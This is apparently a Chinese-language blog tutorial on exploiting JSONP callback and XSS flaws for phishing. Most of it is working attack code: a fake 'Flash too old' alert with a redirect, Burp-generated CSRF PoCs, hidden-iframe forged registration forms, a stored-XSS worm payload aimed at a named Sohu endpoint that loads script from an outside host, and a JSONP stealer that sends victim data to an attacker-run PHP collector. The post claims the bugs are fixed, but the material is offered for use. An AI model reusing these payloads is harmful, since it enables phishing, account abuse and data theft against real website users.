前言:
因为一直在捣鼓批量挖掘
在测批量挖掘的一个思路时,跑了某个站的域名
跑出来一个接口觉得这个接口拿来当例子分析是个很不错的选择
漏洞点均已修复这里只做技术分析
正文
获取到如下的接口
http://网站/api/position/615?callback=111
发觉是一个很不错的例子
这里就直接用这个来简单的教大家怎么挖掘jsonp的漏洞和xss进阶钓鱼使用
xss基础的使用就不说了
最基础的
当然也是因为这里没waf 如果有waf的话就想办法绕就好了
waf还是蛮好绕的
这里肯定是核心写进阶利用的
因为这里没有发布文章这些操作 所以这里直接调用的注册账户的来进行实现
简单思路一:重定向思路去进行xss数据获取
思路一 重定向到一个页面后进行获取数据
个人不建议使用这种
代码如下
window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};alert("您的FLASH版本过低,请尝试升级后访问该页面!");window.location.href="http://baidu.com";
组合csrf使用
最简单的结合csrf的方法
准确就是url重定向+csrf漏洞进行
1.生成一个csrf
2.结合上面的重定向的代码把代码改为上面poc.html存储的服务器的地址即可
效果
常规的直接使用poc的如下
进一步更改的
直接结合doucument.forms[0].submit();去写
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="">
<script> document.forms[0].submit(); </script>
</form>
</body>
</html>
效果如下
弹窗跳转后直接即成功
思路二 先写在重定向思路
·
直接抓包csrf生成的
<input type="hidden" name="requestMethod" value="POST">
<input type="hidden" name="requestURL" value="http" value="//t.iqiyi.com/api/feed/addChat.php">
<input type="hidden" name="notsync" value="">
<input type="hidden" name="categoryid" value="">
<input type="hidden" name="picid" value="">
<input type="hidden" name="txt" value="test">
<input type="hidden" name="tvid" value="0">
<input type="hidden" name="cb" value="qitan_response_data">
<input type="submit" value="ok">
利用思路存储xss弹窗弹一个重定向的代码或者弹窗+xss.js一起使用
存储xss弹窗那个重定向的代码 链接就是这个url部署服务器的链接然后当别人被迫点击后即可疯狂插东西了 如果是可构造表单的 即可
这个是html页面的
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<iframe id="test_iframe" style='display:none'></iframe>
<h1>aa</h1>
<script>
var test_iframe = document.getElementById('test_iframe');
function CSRF()
{
test_iframe.contentWindow.document.write("<form action='http://baidu.com/注册的接口'>"
+"<input type='hidden' name='callback' value='jQuery17207526730081973341_1651468576157' >"
+"<input type='hidden' name='name' value='261642834311211'>"
+"<input type='hidden' name='password' value='a.123456789' >"
+"<input type='hidden' name='repassword' value='a.123456789'>"
+"<input type='hidden' name='rname' value=''>"
+"<input type='hidden' name='idcard' value=''>"
+"<input type='hidden' name='formtype' value='registerform'>"
+"<input type='hidden' name='from' value='3841' >"
+"<input type='hidden' name='_' value='1651468592111'>"
+"</form>"
+"<script> document.forms[0].submit(); <\/script>")
}
CSRF();
window.setTimeout(window.location.href='http://www.baidu.com', 1);//延迟二秒后跳转到指定网页
</script>
复杂点的方法:
原理:自写js代码+csrf生成的poc进行处理
然后扔xss平台里面去
然后弹即可获取数据
把下面的这些代码扔进xss平台中 组合蠕虫就是利用的这些思路(反正我是这种)
这个是链接的点
http://网站callback=<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>
这个就是xxx.js的内容 即点击该参数即可调用插入引用xxx.js的代码进而进行插入代码造成xss漏洞
get类型的
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
}
catch(e) {}
}
}
xmlhttp=request;
var injectcode=escape('</p><script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>');
var url= "http://t.stock.sohu.com/updateuserinfo.up?callback=jQuery17209598822160122753_1402214482429&interest=%C6%DA%D6%B8&introduction="+injectcode;
xmlhttp.open("GET", url, true);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send();
扔进去后
当x如后自动即会跳转
即可成功完成我们引用的xss代码操作
jsonp
核心利用的原理:
JSONP技术可以实现数据的跨域访问,进而攻击者利用该漏洞可以向用户发送一个伪造的链接,进而当用户点击后进行回调函数进而即窃取到用户的信息
因为这里的callaback可控
服务器的保存文件的可以直接仍本地127.0.0.1 、
用phpstudy起一个就好了
<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>
点击该html即可获取到数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<script>
function test(data) {
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/save_json.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://具有jsonp漏洞的地址/jsonp.php?callback=test"></script>
//callback回调函数进而获取数据然后采用ajax的形式进行发送数据
</body>
</html>